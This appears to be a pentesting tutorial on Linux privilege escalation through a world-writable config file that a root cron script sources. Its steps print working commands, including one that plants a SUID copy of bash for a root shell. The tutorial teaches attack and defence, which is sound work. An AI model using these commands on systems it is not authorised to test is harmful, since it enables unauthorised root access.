Privilege Escalation via World-Writable Config File

Abusing Misconfigured Trusted Files for Root Access

Introduction

In the real world, privilege escalation rarely comes from some obvious exploit. More often, it’s a subtle misconfiguration that turns into full control — if you know how to spot it.

This post breaks down a classic example: a world-writable config file (/etc/vuln.conf) that gets executed by a root-owned script. This kind of issue shows up all the time in real environments, often overlooked, and yet it’s completely game-breaking.

We’ll walk through how to find it, analyze it, and exploit it — step by step.

Scenario Setup

Let’s say you’ve landed on a low-privilege user account (in this case, alice) on a Linux system. You want root. So you start with post-exploitation enumeration.

One of the best first moves is to check for files that are:

Owned by root
World-writable
Located somewhere unusual (like /etc/, /opt/, etc.)

You run this:

find / -writable -type f -user root 2>/dev/null
# Find root-owned files that are writable

And you discover:

/etc/vuln.conf

Interesting. Let’s investigate.

Step 1: Investigate the File

ls -l /etc/vuln.conf

You see this:

-rw-rw-rw- 1 root root 12 Jun  4 12:00 /etc/vuln.conf

This means any user on the system can write to this file, and yet it’s owned by root and lives in a sensitive location. That’s a red flag.

You check its contents:

cat /etc/vuln.conf

It just says:

# some secret config

Not helpful yet — but the file is there for a reason.

Step 2: Who Uses This File?

Time to figure out if this file is being read or executed by any privileged process. The key is to search the system for anything that references it:

grep -rl "/etc/vuln.conf" /etc /usr /opt 2>/dev/null

You discover:

/usr/local/bin/vulnscript.sh

Now we’re getting somewhere.

Step 3: Examine the Script

cat /usr/local/bin/vulnscript.sh

You find:

#!/bin/bash
source /etc/vuln.conf

This is critical.

source will execute whatever code is inside vuln.conf as part of the running script.

Now you check how this script is run:

cat /etc/crontab

And you see:

* * * * * root /usr/local/bin/vulnscript.sh

That’s game over.

Step 4: Weaponize the Config File

Let’s test to confirm that the config file is being executed.

Drop a simple test payload:

echo "touch /tmp/payload_test" > /etc/vuln.conf

Wait one minute, then:

ls -l /tmp/payload_test

If the file exists — you’ve got command execution as root.

Step 5: Escalate Privileges

Here’s one reliable path to root:

echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" > /etc/vuln.conf

After a minute, run:

/tmp/rootbash -p

You now have a root shell. Mission accomplished.

Why This Works

This is a classic example of trusting user-controlled input in a root-owned process. The system allows any user to write to a config file that a privileged script blindly executes. This breaks basic security principles:

Principle of least privilege
Input validation and sanitization
File permission hygiene

In the wild, this kind of issue appears in:

Backup scripts that source /etc/backups.conf
Monitoring scripts with dynamic plugin paths
Misconfigured containers and CI/CD agents

Lessons for Pentesters

Always enumerate world-writable root files: find / -writable -type f -user root 2>/dev/null
Search for who’s using them: grep -rl "/path/to/file" /
Don’t ignore boring-looking config files — they might just hand you root.

Conclusion

Privilege escalation doesn’t always come from flashy exploits. Sometimes it’s a quiet little config file hiding in plain sight. This is why deep enumeration and curiosity are your sharpest tools as a pentester.

Want to own the domain one day? First, learn to own the box.